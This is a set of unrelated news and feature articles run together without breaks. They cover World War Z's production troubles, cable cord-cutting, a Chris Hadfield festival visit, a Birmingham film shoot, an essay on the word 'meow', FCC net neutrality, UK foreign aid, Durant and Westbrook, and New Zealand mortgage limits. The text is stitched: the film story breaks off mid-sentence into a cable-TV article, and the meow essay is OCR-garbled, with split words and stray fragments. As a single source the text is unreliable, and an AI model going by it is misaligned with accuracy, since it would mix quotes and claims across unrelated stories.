World War Z began principal photography in Malta on June 20, 2011. Despite the studio’s overall enthusiasm, the movie’s third act needed a significant re-write. “The script felt good, maybe not great,” said Adam Goodman, president of the Paramount Film Group. In the early scripts, the narrative had three main action sequences involving Pitt: the first in Philadelphia, where Gerry Lane and his family first encounter the zombies; another in Israel; and a final battle in Russia, where the undead lay siege to Moscow’s Red Square but are beaten back by an army of thousands, who, enslaved by the Russians, are forced to fight in ragtag battalions, lopping off the heads of the surging zombies with shovel-like weapons called lobos, short for “lobotomizers.” The Russia battle not only was the pivotal action scene for the movie’s ending but also set up Gerry Lane as a leader in the war against the zombies for potential sequels. But, for some, the story’s ending was too dark. Carnahan’s early script concluded with Gerry Lane in North Korea, appealing to world diplomats to invade the overrun United States with an army of lobo-wielding peacekeepers. Supervising the script revision at Pitt’s behest were Dede Gardner and her Plan B colleagues, as well as Marc Forster, according to a person with knowledge of those discussions. (Carnahan declined to comment for this article.) Malta, an island south of Sicily which is prized for its parchment-colored terrain, substituted for Jerusalem, where, in the movie’s second major action sequence, zombies clamber over high walls constructed to keep them out, overtaking panicked crowds with the abandon of a ferocious pack of wild dogs. It was an ambitious and costly action scene central to the movie’s narrative; Gerry Lane would flee the zombie invasion in Jerusalem and escape to Russia. More than 45 tons of equipment and props were flown in and 25 full shipping containers were sent to Malta for the three-week shoot, according to Maltese news reports. And 900 extras were hired, which meant that, including the cast and two separate film crews, about 1,500 people were on set many days. Creative choices, though, proved challenging. “If you try to create mass hysteria, it can’t be blissful,” said Forster. The filmmakers opted to forgo building sets because the studio found locations large enough to accommodate the hundreds of extras fleeing the zombies, according to studio executives. The original Malta location, though, was moved to the crowded waterfront docks of its bustling capital, Valletta. “It was quite a logistical headache,” the movie’s Malta production manager, Winston Azzopardi, said of the shoot, adding, “Truthfully, I don’t think we were fully prepared.” The move caused anxiety among the crew because, as one insider put it, “it came late in the day.” With two film crews sometimes working side by side, helicopters flying overhead, and hundreds of extras milling around, it was a challenge to manage the schedule. Filming was disrupted one day when a restaurant demanded that it be permitted to stay open after the street was closed, said Marc Evans, Paramount’s president of production, the executive overseeing the film. And Gardner was forced to intervene when one of the actresses trashed her hotel room—the producers worried she would not show up on set, according to a person told of the incident. In addition, the swollen ranks of extras triggered a cascade of unanticipated costs. “Little, tiny things you can absorb on a small movie,” said Adam Goodman. “But on a movie the scale of World War Z they are costly things that add up.” Costumes for more than 150 extras dressed as Hasidic Jews had to be flown in from Israel, said a crew member, with the remaining extras outfitted at considerable expense. And Evans said Forster lost several hours of shooting one day because a caterer did not prepare enough food for the extras. “We were feeding half the city,” said Azzopardi. The movie “started out small, then grew into a monster.” A Violent World
From the beginning, Paramount demanded that World War Z have a PG-13 rating, so it could be broadly marketed. But Pitt pushed the boundaries of R-rated violence and gore despite the PG-13 the filmmakers were contractually bound to deliver. “There was always a challenge to keep it PG-13, where Brad wanted to go for it,” said a person involved in the film. “The question was: How graphic can it be and get the rating?” Pitt, that person said, was concerned mostly with aesthetics. “He just wanted it to be cool.” That’s not surprising, given Pitt’s attitude toward movie violence. “We live in such a violent world,” he told reporters in Cannes while promoting his 2012 gangster movie, Killing Them Softly. He also said, “Murder is an accepted possibility when you are dealing in crime. I would have a much harder time playing a racist or something along those lines. It would be much more unsettling for me than a guy who shoots another guy in the face.” Dede Gardner said the intent was always a PG-13 rating. Paramount, though, was keeping watch. Marc Evans said he called Gardner in Malta one day after reviewing footage of a particularly graphic zombie attack. “I’m certain I had a conversation about PG-13 coverage,” he said. “I saw the dailies.” In mid-July, the cast and crew left Malta for England and Scotland. In the first week of August, Evans said, he got a call from one of his production executives. We have a problem, the executive said. While closing down the production in Malta, the wrap-up crew found a stack of purchase orders related to the cast and extras that had been casually tossed into a desk drawer and forgotten. Evans was gobsmacked; the amount totaled in the millions of dollars. He told Goodman right away. Then, he said, he arranged a conference call with Gardner and Colin Wilson, the producer hired to oversee the movie’s physical operations. Wilson was a personal friend of Goodman’s and an experienced producer, having worked on blockbusters like The Lost World: Jurassic Park, War of the Worlds, and Troy. Evans calls the overages an “unthinkable action” which needed to be addressed immediately. “It was literally insane,” he said. “Adam [Goodman] and I believed we’d gotten out of Malta good, and I found out we weren’t. That is a nightmare.” The movie had only begun filming and was now over-budget. And the script’s ending was still unresolved. “Brad was saying, ‘You have to figure out the third act,’ ” said the person apprised of Pitt’s discussions with Gardner and others. One concern was the finale and the big action sequence, which studio executives said was “evolving.” While the filmmakers liked the showdown with the zombies, they decided not to re-unite Gerry Lane with his wife and children after the Russia battle, a cliff-hanger that could be played out over future movies. In an early script, there was a subplot involving a rival male. “I was always like, You should not bring them together,” said Forster. “If you look at my movies, I like it more that they shouldn’t be together.” On August 9, 2011, Paramount announced that it would release World War Z in theaters on December 21, 2012, giving it a prime spot over the busy Christmas holiday. Meanwhile, behind the scenes, the cast and crew were buzzing that Colin Wilson had fallen out with Paramount and was resigning. “Someone needs to be responsible for the start of the movie,” said Goodman of his friend. “And how things were going, he felt as though the crew lost confidence in him or he had lost confidence in himself.” Wilson, who is currently head of production at Annapurna Pictures, the production company owned by Megan Ellison, did not return phone calls. But some people involved with the movie said that he was unduly singled out and that the financial problems in Malta were indicative of a more serious communication breakdown on the set. “Everyone was covering their backside because they knew they were over-budget,” said one of the people. “And we were wondering how to do the third act.” Marc Forster said he was unaware of the budget issue until Wilson told him he was leaving, and he later discussed it with Gardner. “No one came to me and said, ‘You are fucking up here,’ ” Forster said. “So if there are any issues budgetarily, they are not my issues.” He says producers often don’t tell directors about problems, worried it will hamper the artistic process. “You don’t know the shit going on behind closed doors because you don’t want ‘Oh my God! Oh my God! What’s going on?’ ” Forster said. “You are having a meltdown while you are working. So I don’t usually know what is going on. Of course, I know what is on set. If you look at directors, they are always protected—the producers only let you know so much.” Chaos and Disarray
I an Bryce was on vacation in San Diego with his wife and children on August 18 when Adam Goodman called his cell phone. Fans of Transformers know Bryce’s work even if they don’t know his name: he keeps the director, Michael Bay, on schedule and on budget. (He also was nominated for an Academy Award for Saving Private Ryan and has a producing deal with Paramount.) The 56-year-old Bryce is one of a coterie of Hollywood producers skilled in managing the finances and sprawling physical production of global blockbusters and franchise properties, experience that has become increasingly vital as novice directors and producers enter the ranks of big-budget filmmaking. He is compact and trim, a no-nonsense straight talker born in England who displays a deadpan practicality rare in Hollywood. Goodman, said Bryce, explained that Colin Wilson had resigned. “We need somebody right away,” said Goodman. “Who’s on your list?” Bryce asked. “You are the list,” Goodman replied. Four days later, Bryce arrived in Glasgow, where the crew shot the scene of Gerry Lane and his family first encountering zombies in Philadelphia. (The filmmakers picked Glasgow because it was cheaper to film there than in the United States.) After a 17-hour day of meetings with the cast and crew, he got back to his hotel and found his e-mail account chock-full of messages. “I had 229 e-mails for the day, right?” Bryce said, recounting the incident as he leaned back in his chair in a conference room in the Technicolor building on the Paramount lot. “And it was mostly World War Z stuff.” Movie sets, in his experience, function best when people talk to one another, he said. So before Bryce crawled into bed, he got a list of department heads and senior crew members and sent an e-mail of his own. “If anyone is up for a new way of doing things, here’s my phone number,” Bryce said he wrote. “Here is my assistant’s phone number. Call me. I can talk faster than I can type.” It didn’t take long for people to respond. “It got some immediate hit backs of ‘Hooray!’ ” he said. “ ‘I’ll call you in the morning!’ ” But the problems on set were far from over. Forster clashed with John Nelson, the senior member of the crew hired to oversee visual effects; Nelson had won an Academy Award for Gladiator and had worked on Iron Man and two of the Matrix movies. “John Nelson and I, it was a chemistry thing,” said Forster. (Citing “creative differences,” Forster said Nelson was replaced after principal filming ended. Nelson declined to comment.) Forster’s relationship with Pitt was tested, too. “I think every director and actor have to find their shared vocabulary,” said a person with knowledge of the relationship. “Marc does have this great worldview, but he can’t articulate the ins and outs of scenes.” And the two were stylistic opposites, that person said. Forster was focused primarily on filming what was in the script in the allotted days. Pitt, by contrast, wanted to chew over scenes long after the cast and crew had gone home. “Marc didn’t have a lot to offer, and Brad probably shut him down a bit,” said that person. Pitt did not talk to Vanity Fair for this article |
It's moving in a great direction if you are a user."
Saving money
Jordan Tabbakh of Harper Woods is exactly the kind of customer cable providers are looking to win over. He currently uses U-verse, although he says he really has cable service only for when he has visitors.
"It's the most basic TV I can get and the fastest Internet," he said.
Tabbakh, 25, gave up TV in college and prefers to get his entertainment and news through video games and online. He's considered cutting the cord completely, but "the cost isn't that much different" when the Internet and TV service are bundled.
Troy residents Christine and Ross Henri got rid of cable this year, switching to Netflix and Amazon Prime. They also bought a digital antennae to get the free channels.
"We really weren't using the cable that often and it was way too expensive," said Christine Henri, 25. "We saved a lot of money by canceling, and most of the shows we like are already available on Netflix."
Adding to the frustration was that they live in an apartment and had only one service available.
"We couldn't even shop around for a cheaper cable package," she said.
For those who have left cable behind, 76 percent said they were satisfied with the content they could get through streaming, according to the Magid survey. While 57 percent said they couldn't live without their TV set, only 21 percent of 18- to 34-year-olds said they use a TV set as their primary means of entertainment, down from 40 percent in 2012. In contrast, 50 percent said they couldn't live without their smartphones, up from 22 percent three years ago.
Also, 40 percent cited issues with customer service at cable companies.
Customer service is a key area of improvement for Comcast. In July, the company made headlines when a recording was posted online of a couple trying to cancel their service and the service representative wouldn't let them.
Since then, several more Comcast customers posted recordings online of their negative experiences.
"We're acknowledging that customer service isn't where it needs to be. We're trying a lot of steps to turn it around, but it's a big ship," said company spokeswoman Michelle Gilbert.
To prevent having to call customer service for every issue, the X1 Platform provides a troubleshooting guide on the TV screen, and if the issue is still not fixed, the user can schedule a time to talk with a representative. They're even offering an app to track exactly when a technician will be arriving.
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(Last Updated On: Jun 8, 2016)
Canadian Space Agency astronaut Chris Hadfield, attired in a training version of his Extravehicular Mobility Unit (EMU) spacesuit. Photo courtesy of NASA
by Morinville News Staff
The first Canadian astronaut to walk in space will be walking around Bon Accord this fall. The community announced Wednesday that world renowned astronaut Colonel Chris Hadfield will be part of Bon Accord’s Equinox 2016 on Sept. 24.
Col. Hadfield, who has logged 2600 orbits of the earth, lived in space and on the ocean floor, will be the annual festival’s keynote speaker.
Hadfield’s appearance is not the only highlight of this year’s festival, now in its fifth year. The event coincides with Bon Accord becoming Canada’s first International Dark Sky Community.
“We’re a small community doing unique things. We’re thrilled to have Colonel Hadfield, a former Commander of the International Space Station, at this year’s festival,” said Bon Accord Mayor Randy Boyd in a release June 8. “Colonel Hadfield will headline Equinox 2016, as we celebrate the night sky and our designation as Canada’s first International Dark Sky Community, and ensure the festival is a can’t miss event for our town’s residents and the visitors from afar who make it a destination every September.”
Equinox 2016 is a free weekend-long, town-wide event highlighting the summer into autumn equinox.
Previous years activities, including Twilight Tea, Sidewalk Astronomy, Stories of the Sky, and Dark Sky Photography will return to the festival.
New additions include Nighttime Yoga, a paint night and social event with locally produced wines. Participants will also have the opportunity to get autographs and books signed with Colonel Hadfield.Scenes from a movie starring Josh Hartnett of "Black Hawk Down" and the Showtime series "Penny Dreadful" and Margarita Levieva from the HBO drama "The Deuce" are expected to begin filming Thursday in the Birmingham metro area.
The movie, "Inherit the Viper," is described as a crime thriller centered around the prescription drug epidemic in West Virginia, according to the Hollywood trade publication Variety.
Casting directors are looking for actors, models and other talent to work on scenes that will be filmed in Birmingham from Dec. 7 through Dec. 13, according to a post on the Project Casting website. More details are available on the website.
Swiss filmmaker Anthony Jerjen is making his feature film directing debut in "Inherit the Viper," which is based on an original screenplay by Andrew Crabtree, according to the movie website Deadline Hollywood.
Hartnett and Levieva play West Virginia siblings who support themselves by dealing drugs, but when they try to get out of the business, they discover it is vicious cycle to escape, according to Deadline Hollywood.
"'Inherit the Viper' is a visceral story of a family fighting to escape its destiny," producer Michel Merkt said in the Deadline Hollywood report.
It is at least the third Hollywood production to film in the Birmingham area in the past few months.
"Bigger," a drama about the pioneers of the sport of competitive bodybuilding, filmed here earlier this fall, and this past summer, John Travolta and Shania Twain were in the Birmingham area to film the dirt-track racing movie "Trading Paint."
Why Hollywood came to Birmingham to film new bodybuilding movie "Bigger" is scheduled to begin filming in the Birmingham area on Oct. 9. Filmmakers also plan to shoot some scenes in Mobile.3
21 June 2013 8:54 PM © Jennifer Ball, Sept. 3, 2010 “Meow” is just another name for “cat”
16 times by itself, and at least 78 times in conjunction with other characters, according to
www. Manda rinT ools.c om.
The Miao of China—one of the meanings of “miao”—are an ancient people known for their farming and embroidery; the word also means “family, progeny, sprout.” The Oxford English Dictionary does not include a listing for “miao” or “meow.” The closest word is “miaow,” and it means, “Imitative. Similar representations of the cry of a cat (and corresponding nouns and verbs) are very widespread in numerous languages: compare e.g. Ger- man
miau,
Spanish
miau,
Russian
mjau,
Turkish
miyav,
Finnish
miau,
Chinese
miao,
etc.” Even though OED claims the word is widespread, the earliest date given is 1288. Ancient Egyptian isn’t mentioned. Under “cat” however, OED offers, “History points to Egypt as the earliest home of the domestic cat, and the name is generally sought in the same quarter.” Not discussed is the fact that the Egyptians used the word “miw,” even though Gardiner’s book was published in 1927. Nation- al Geographic says that the oldest evidence of a “pet” cat was found in Cyprus inside a 9,500-year old human grave.
2
The remains of the cat, eight-month’s old when it died, was 16 inches from the human remains. Almost ten thousand years later, owners still bury their pets and provide for the animals should they predecease them. Cats and dogs have made themselves desirable to humans, so we cultivate them: it’s the perfect gene strategy. Language functions similarly to genes. Sound replicates if it means something.
Meow
transcends culture because so many cultures recognize this pattern of sound as signifying “cat.” Mewing is an auto- matic way to communicate the concept of “cat.” Perhaps the fact that humans are more than 99.99% genetically identical means we hear the same and think the same, so some amount of coherence exists between people, even if we haven’t been raised the same. Based on early scripts, it ap- pears that we notate the same: Not only do the Ancient Egyptians and Chinese share a similar sound for “cat,” their depictions share a similar structure. As you can see, both the hieroglyph for “cat” on the left and the sinograph for “cat” on the right include meaning
and
pronunciation in their “words” that designate “cat.” In each language, the script for “cat” includes two levels of coding: content (meaning) and sound (pronunciation)—and in this case, both agree. Tw o ancient cultures not only pronounce the word for “cat” nearly the same, they also graphically depict the concept of “cat” in a similar man- ner. However this similarity takes an effort to see because they are so un- 2 http://news.nationalgeographic.com/news/2004/04/0408_040408_oldestpetcat.html
貓
pronunciation
meaning
“Cat” in Chinese
Ancient Egyptians and Chinese coded their words for sound
and
meaning. Both cul- tures depict “cat” with a picture of an animal and a key to the ani- mal’s pronunciation. The cat-looking char- acter on the left con- tributes no sound. The character on the right is considered the pho- netic component and contributes the sound, though not necessarily with exactness. These two characters to- gether are pronounced
mao,
but the phonetic component on right is
miao
when alone
.
A hieroglyph can run left or right; one reads a glyph in the direction the characters are facing, in this case, the right.
The cat is the “determinative”
because it determines the meaning, though it contributes no sound. The sound comes from the three characters on the right.
pronunciation meaningTom Wheeler was feeling the heat.
It was August and the head of the Federal Communications Commission was sitting on the deck of his family’s vacation home on Maryland’s Eastern Shore. Sweat dripped onto the paperwork before him. For months, the tall, bespectacled Wheeler had been consumed by an arcane but important debate over how to regulate the companies that provide access to the Internet.
Story Continued Below
Wheeler, a former lobbyist for the cable and cellphone industries, had taken over the agency without any burning desire to rewrite the rules already in place, but a federal court decision had thrown the issue in his lap. Now, as he fumbled toward a solution, an array of liberal groups that had long wanted a much stronger federal hand complained that Wheeler might be too cozy with his former bosses to act forcefully on behalf of consumers.
Perspiring on his vacation that wasn’t really a vacation, Wheeler was coming — quietly — to the conclusion that he was going to have to turn on the industries that launched his career in Washington.
On Thursday, Wheeler is expected to present to the commission a set of rules that would treat broadband providers like utilities, effectively denying them the right to charge companies a premium for faster access to consumers and holding them accountable for any attempt to secretly impede the flow of data. When the commission finally approves them — a vote is scheduled for late February — it will mark the most significant rewrite of the rules of the road for the Internet in more than a dozen years and affect the competitive playing field for generations to come.
Wheeler did not speak officially for this report. But interviews with FCC officials, industry executives and representatives of public interest groups reveal the origins of his dramatic pivot on this issue: an intense and relatively brief grass-roots lobbying campaign that targeted two people — him and President Barack Obama.
“We [knew] that Tom Wheeler was going to make the decision on this,” said Craig Aaron, president and CEO of Free Press, a liberal public interest group. “He was the guy with the most influence over the details, and the question becomes who has the most influence over him, and that is President Obama.”
• • •
When he nominated Wheeler for the FCC job, Obama called him “the Bo Jackson of telecom.” Wheeler had earned the nickname for his experience as a veteran lobbyist but also as a venture capitalist in the industry. But Wheeler saw himself as more than just a double-threat. He made it clear to Obama, whom he had campaigned hard for in 2008, that he wanted a shot at leading an agency that had earned a reputation for inaction.
Wheeler’s tenure was barely two months old, however, when a federal appeals court in D.C. issued a decision in January 2014 that would force the FCC to revisit an issue that had been percolating largely outside the public’s view for more than a decade.
The decision overturned a set of rules written in 2010 that attempted to prevent Internet service providers from blocking or degrading content that flows over the Internet. While the court ruled that the commission has the power to regulate the Internet, it told the FCC that it could not impose rules that treat a broadband company like a utility unless it defined them as a “common carrier” — a term of art that has a long history of preventing discrimination in everything from railroads to telephone companies.
Wheeler initially attempted to write new rules that avoided the common carrier distinction. Wary of sparking opposition from huge companies like Verizon and Comcast, Wheeler’s original proposal gave broadband providers the right to strike pay-for-play deals for faster access to consumers, as long as such agreements were “commercially reasonable.”
Wheeler saw that reasonableness test as a high bar — a filter that would still ban the kinds of practices that net neutrality advocates were most worried about. But many — liberals, tech activists and Silicon Valley companies among them — saw things quite differently.
Not Neutral on Net Neutrality FCC Chairman Tom Wheeler’s initial net neutrality proposal was attacked by liberals and tech companies as a door-opener to pay-for-play deals between broadband companies and rich tech firms. He is expected to suggest stronger rules this week to regulate broadband Internet like a utility. Here’s a look at who stands where in the effort to ensure all Web traffic is treated equally: Broadband providers Internet-service providers like Verizon and Comcast say they support net neutrality but argue that regulating broadband like a utility is unnecessary and would impose burdensome rules on an innovative industry. Such a decision could curb investment in next-generation technologies and networks, they say. Wireless carriers Wheeler may seek to expand his net neutrality rules to include wireless services. Carriers like AT&T say mobile technology is inherently different from the wired Internet and that subjecting the sector to utility-style regulation would damage a competitive industry. Republicans Congressional Republicans have never been huge fans of net neutrality, but they’re moving to legislate their own rules, aiming to thwart the FCC from imposing the utility model. GOP lawmakers think the FCC is grabbing too much power over the Internet — and many want to put new restrictions on the agency. Obama and Liberals Democrats, including President Barack Obama, have endorsed using utility-style regulation for broadband. The strategy, which Wheeler is expected to embrace this week, would give the agency more authority over how ISPs manage Web traffic. Tech companies Tech firms support the general concept of net neutrality, and some, like Netflix, Tumblr, and Etsy, have been particularly vocal in pushing the FCC to regulate broadband like a utility. Allowing broadband providers to charge some companies for faster access to consumers could hinder competition, they say. Tech activists Tech activists like Demand Progress and liberal public interest groups like Free Press organized grass-roots efforts in support of the strongest possible net neutrality rules. The groups helped generate millions of public comments to the FCC and outreach to Congress and the White House. — Alex Byers.
Free Press called Wheeler’s proposal “an insult.” Tech companies from Google to Kickstarter called the rules “a grave threat” to the Web. Wheeler found little public support from his fellow Democrats. When the chairman met with members of the House telecommunications subcommittee over Chinese food at Hunan Dynasty, just blocks from the Capitol, they implored him to give himself more flexibility. Give a nod to reclassifying broadband like a utility in your preliminary proposal, they urged him. In seeking public comment, Wheeler included questions about whether the agency should regulate broadband that way. But his initial proposal, which left the door open to so-called Internet fast lanes, remained his preferred option.
Then John Oliver unleashed the dogs of wonk comedy war.
• • •
It was a Sunday night in June when Oliver devoted 13 minutes of his show on HBO to explaining an issue that had already prompted protesters to camp outside the FCC offices (a first in the annals of the agency).
He lampooned Wheeler’s past as a cable industry leader and suggested that his pro-industry rules were the broadband equivalent of “a dingo guarding a baby.” The clip went viral (it has been viewed on YouTube almost 8 million times). Free Press rented a Jumbotron and at one point put it across the street from the FCC’s headquarters on 12th Street. The screen played testimonials on net neutrality and Oliver’s takedown.
A broad coalition of progressive groups — including Public Knowledge, Consumers Union, the New America Foundation’s Open Technology Institute, Demand Progress, Fight for the Future, Engine Advocacy, CREDO Action and the National Hispanic Media Coalition — capitalized on the sudden burst of attention to mobilize opposition.
Emails by the hundreds of thousands began to hit the FCC’s inbox.
Wheeler, meanwhile, hit the road in an attempt to turn the tide. He visited with tech companies and venture capitalists in Silicon Valley and New York, where he was told his rules would give broadband companies too much control over the success of fledgling tech firms.
“It was pretty clear that he kind of had his mind made up and wasn’t really on our side,” Paul Sieminski, general counsel at Automattic, which runs the popular WordPress.com platform, said of one of Wheeler’s meetings in California.
Wheeler was adamant that treating broadband companies like classic utilities would create political problems and would hamstring him as he wrestled with future policy issues involving the telecom industry.
But the barrage of public comment, most of which was insistent on regulating broadband companies as strictly as possible, did not abate.
By mid-July, the FCC had received so many missives the website sputtered.
By August, as he sweated through his working vacation, Wheeler was contemplating a hybrid proposal that he hoped would satisfy both sides.
By September, a record number of comments had come in, surpassing the outrage after the 2004 Super Bowl, when Janet Jackson gave the halftime audience too much of a show. Eventually about 4 million comments flooded into the FCC.
In October, Wheeler’s hybrid proposal leaked out. In essence he wanted to impose the utility rules on only part of the Internet ecosystem — a suggestion first floated by Mozilla, maker of the Firefox Web browser. But on a Friday afternoon, 50 lawyers from civil society groups and tech companies came to a consensus that they could not back Wheeler’s plan. By trying to please both sides, Wheeler succeeded in pleasing neither.
Turned out the man who hired him wasn’t wild about it either.
• • •
Monday, Nov. 10, didn’t start out well for Wheeler. Protesters from one of the more radical pro-net neutrality groups had blocked the driveway of his home in Georgetown. That same day, the president released a statement and video in which he came out squarely in favor of regulating the broadband companies like utilities. Obama had always been a proponent of net neutrality (Open Internet planks had been nailed into the Democrats’ platform in 2008 and 2012, after all), but he had never uttered the words Title II, the federal rule that gives the FCC direct authority over telecommunications services.
Wheeler, who had a week’s worth of meetings scheduled at which he had intended to sell his hybrid plan, was knocked on his heels. At a meeting with public interest advocates and representatives from the likes of Tumblr, Etsy and Google, Wheeler appeared frazzled but professional, attendees said. At one point he told a meeting of wireless executives that there was no sunlight between him and the president on the issue. By the end of the week, it was clear to attendees that he was turning away from his hybrid plan.
In the weeks since, Wheeler’s evolution to utility-style regulation has solidified. The telecom industry’s claim that Title II rules would hamper investment in new networks took a hit when Verizon’s CFO said in December that the move would “not influence the way we invest.” Verizon backed off that statement, but Sprint largely agreed when it said it would invest in wireless data networks regardless of how the FCC regulated the industry.
But it was clear Obama’s comments had been a major force in shaping the FCC rules — a fact Wheeler couldn’t help but joke about at the Federal Communications Bar Association’s swanky, year-end dinner.
“I would like to thank the Mozilla Foundation for the first draft of my remarks tonight,” the chairman said, “and President Obama for his edits.”Britain hands over more cash in foreign aid than any other country in the world, despite having virtually no control over how the cash is spent and numerous reports detailing how aid is either wasted, or holds back development.
In an investigation by the Commons international development committee, it suggests the government is so desperate to achieve its spending target of 0.7 per cent of GDP it floods agencies with cash often without properly researching what the money will be used for or analysing how effective previous payments have been, The Times reports.
The policy by the coalition government has resulted in Britain spending almost three times more per head on aid than the US: £179 vs £64.
Details in the committee’s report shows that more than £4 billion of the UK’s £12 billion aid budget is sent to multilateral agencies in Europe and America who themselves decide where the money is spent.
This compares most unfavourably to the current crisis in the MoD budget, with Tory backbenchers in particular speaking out against the neglect that the coalition has overseen of Britain’s Armed Forces. With run down housing, troop numbers slashed and an ever decreasing amount of equipment, £4 billion would make the Defence Secretary considerably happier than he must be now.
The binge spending to international agencies was described as a “complete folly” by MPs, with Sir Gerald Howarth, MP for Aldershot saying the decision to pump more money into international organisations showed the government had failed to find projects where they could control how tax payers money was spent..
“They are just shoving the money into inefficient multinational agencies,” Sir Gerald said. “This comes at a time when armed forces are being held on tenterhooks about whether the government is going to give them 2 per cent of GDP. It is inexplicable that a Conservative-led government is prioritising aid over defence at a time of growing international tension.”
The outspoken former Chief of the General Staff, General Lord Dannatt, said, “DfID [Department for International Development] is at its best when it is giving money to charities on the ground. If it is struggling to do that it would be better to give the money to defence.”
The link between the need to spend the ring-fenced budget and the increasing amounts given to agencies was confirmed by the chairman of the international development committee, Sir Malcolm Bruce.
“There is a balance to be met and multilaterals can play their part but we felt too much had been given this year,” Sir Malcolm said. “However we definitely don’t have the same level of control with what happens to money compared to when it is direct funding.”
The findings were questioned by another Tory MP, Peter Luff, who asked: “Why is it that we are spending more on multilateral aid than any other country?... Perhaps it is just an easier way to meet the spending target.”
In an article titled, Why Foreign Aid Is Harmful, Lawyer Jonathan Lea details the number of problems which continued international handouts cause, including institutionalising corrupt regimes and holding back the necessary democratisation needed for development to take place.
‘As aid flows in, citizens of the recipient countries effectively become dis-enfranchised as increasingly all their governments need to do to stay in power is to court and cater to foreign donors. Such governments have less of a need to raise taxes, and as long as they pay their army and security apparatus well, they can be relatively relaxed about the views and opinions of their disgruntled people.
Its stated that across Africa, over 70% of government income comes from foreign aid, meaning that such administrations are seriously compromised and unlikely to act in accordance with the interests of their populations.’
DfID justified its spending, saying: “Investing in overseas development is creating a world that is healthier, more stable and increasingly prosperous and that is something Britain can be proud of.”
“UK aid goes only where it is most needed and where it will deliver the very best results for taxpayers’ money. Over time, the proportion of UK development aid spent as multilateral aid has stayed roughly the same.”Not since the 2000s, when Kobe and Shaq were squabbling members of the Lakers, has a relationship between NBA teammates been analyzed and scrutinized as much Kevin Durant and Russell Westbrook in Oklahoma City.
The examination – and insinuation – continues even now, four months after Durant left the Thunder to join the Warriors.
The subject can at least begin to be put to rest Thursday night, when Durant and Westbrook meet on the court as OKC comes to Oakland to face the Warriors at Oracle Arena.
[RATTO: Maybe Westbrook vs Durant really about you rather than them]
Because of his eight seasons alongside Westbrook and also his nine years with the organization, Durant acknowledges his emotions will run high.
“It’s just the way it is,” he said last Tuesday night, after a 127-104 victory over the Trail Blazers. “I’ve got a job to do. At the end of the day, I’m going to go out there and do it.
“But it’ll be good to see some people I haven’t seen in a while.”
Durant’s July 4 decision as a free agent to leave OKC and join the Warriors broke hearts and some of the spirit in the heartland. Once a beloved icon of the Sooner State, Durant in the eyes of many became a traitor. Fans of the Thunder were, and still are, angry that Durant made a choice that not only weakened their team but also left them feeling abandoned.
Westbrook has said and done precious little to distance himself from those who remain bitter over Durant’s departure.
That Durant has continued to speak highly of Westbrook and also expressed a modicum of regret over not personally speaking to his ex-teammate about his decision speaks to the personality differences between the two men.
[RELATED: Durant, Westbrook 'going through a tough time right now']
Whereas Westbrook is a hard-charging competitor who approaches every game, every season, with an us-or-them mentality, Durant takes a broader view. Suns coach Earl Watson, a friend to both, recently explained that an in-season meeting with Durant would result in an embrace but such niceties with Westbrook would more likely be put on hold until the offseason.
That hardly means Westbrook hates Durant, and it surely does not imply Durant detests Westbrook.
“We’re boys,” Durant told Bay Area News Group this week. “My interest went this way, his went that way. He got married, I didn’t. He hung with his wife. What you want me to do? I love Russ. I don’t care what nobody say. I don’t care what he say or what the fans say. Like, this is a tough time right now in our relationship. But I love Russ. I love his family.”
Meanwhile, in Oklahoma City, the rage continues. Some fans burned Durant jerseys, while others vented on talk radio. Durant’s popular restaurant, KD’s, was forced to undergo a change in management and, moreover, get renamed.
That Westbrook, now the clear franchise player, has started in such spectacular fashion – he leads the league in scoring and through three games is averaging a triple-double – the fans may be on the verge of getting over Durant.
Maybe.
But Durant, while conceding OKC fans have a right to feel as they do, is quick to say the memories and friendships made with his former employer will stay with him forever.
Warriors forward Draymond Green, who was a leading figure in the recruitment of Durant, has become one of Durant’s good friends. He understands what his new teammate is coping with and knows it can’t be easy for Durant to clash with his former teammates.
“I think it’ll be a lot of emotions,” Green said. “They’re going to want to beat him really bad. He’s going to want to beat them really bad. In turn, we’re going to want to beat them really bad because we want him to beat them really bad.
“It’ll be a lot of emotions, but it’ll be a fun game to play in. It’s always a high-intensity game against them and I expect nothing less.”
Durant says he’ll get away from basketball on Wednesday, take some time for himself and recharge. The game will be there on Thursday. Maybe he needs a few hours to absorb what’s ahead.
It’s going to be a strange feeling for Durant to take the court and face those wearing the only NBA jersey he had known previous to joining the Warriors.
“I wouldn’t say weird,” Durant said. “I’ll be just locked in, I guess, to following the game plan and just playing.
“Once you step on the court and you see the different jersey, I’m sure it will hit me. But for the most part, once we’re going over game-plan stuff I’ll just try my best to lock in and get ready.”
There is no doubt, though Durant would like to get past the ongoing drama, much of which has been the result of fabrication and hypothesis. Practically anything Durant has said in praise of Warriors has been inferred as condemnation of the Thunder.
Practically anything he says that sheds positive light on a Warriors teammate is studied for the chance it may be a veiled complaint or cryptic critique of his former teammates, Westbrook in particular.
This is not Kobe-Shaq, the cornerstones of Lakers teams that won three championships before they grew tired of sharing the same space. This is Durant-Westbrook, teammates that went quite far but never all the way to the top.
Durant’s move did not dismantle a team laying waste to the NBA. It merely sent him to the place of his choice, to join teammates with which he had grown comfortable.
He has moved on. He’s ready for the rest of the world to move on. Maybe on Thursday the issue will take a long stride toward the dusty pages of history.RBNZ says home loan limits appear to be slowing house prices
Updated
The Reserve Bank of New Zealand says its mortgage lending limits appear to be slowing down home price growth.
The RBNZ imposed a cap on the proportion of low deposit (less than 20 per cent) loans that banks could issue, with such loans making up no more than 10 per cent of the total - they had been running at about 30 per cent.
Such moves are being closely watched by Australia's Reserve Bank, which is confronting a similar dilemma to its trans-Tasman counterpart, with home prices surging while other parts of the economy remain subdued and the local currency still stubbornly high, making an interest rate rise to slow home price growth undesirable.
Recent research and comments from the RBA suggest that, if it did introduce so-called macroprudential policies, it would opt for mandatory, increased interest rate buffers to be used by banks when assessing a borrower's ability to meet repayments.
Such a move would mean that a borrower's ability to meet repayments might be tested against a 3 or 4 per cent rise in interest rates, rather than the 2-2.5 per cent stress test many major institutions use.
However, while RBA and Bank for International Settlements research suggests that higher interest rate buffers may be more effective than limits on low deposit lending, the RBNZ says its policy does appear to be working to put a lid on home price rises.
In an article in its latest Bulletin released earlier this week, the RBNZ says total low deposit lending has fallen to 7.8 per cent, even including loans that are exempt from the cap.
The bank says this has fed through to a 13 per cent drop in home sales over the five months to February, since the policy was introduced in October last year.
The RBNZ also says home price growth has slowed to 8.2 per cent over the year to February, down from 9.8 per cent over the year to September 2013.
The bank says its modelling suggests home price inflation would likely have been 2.5 percentage points higher over the year to February if no macroprudential action had been taken.
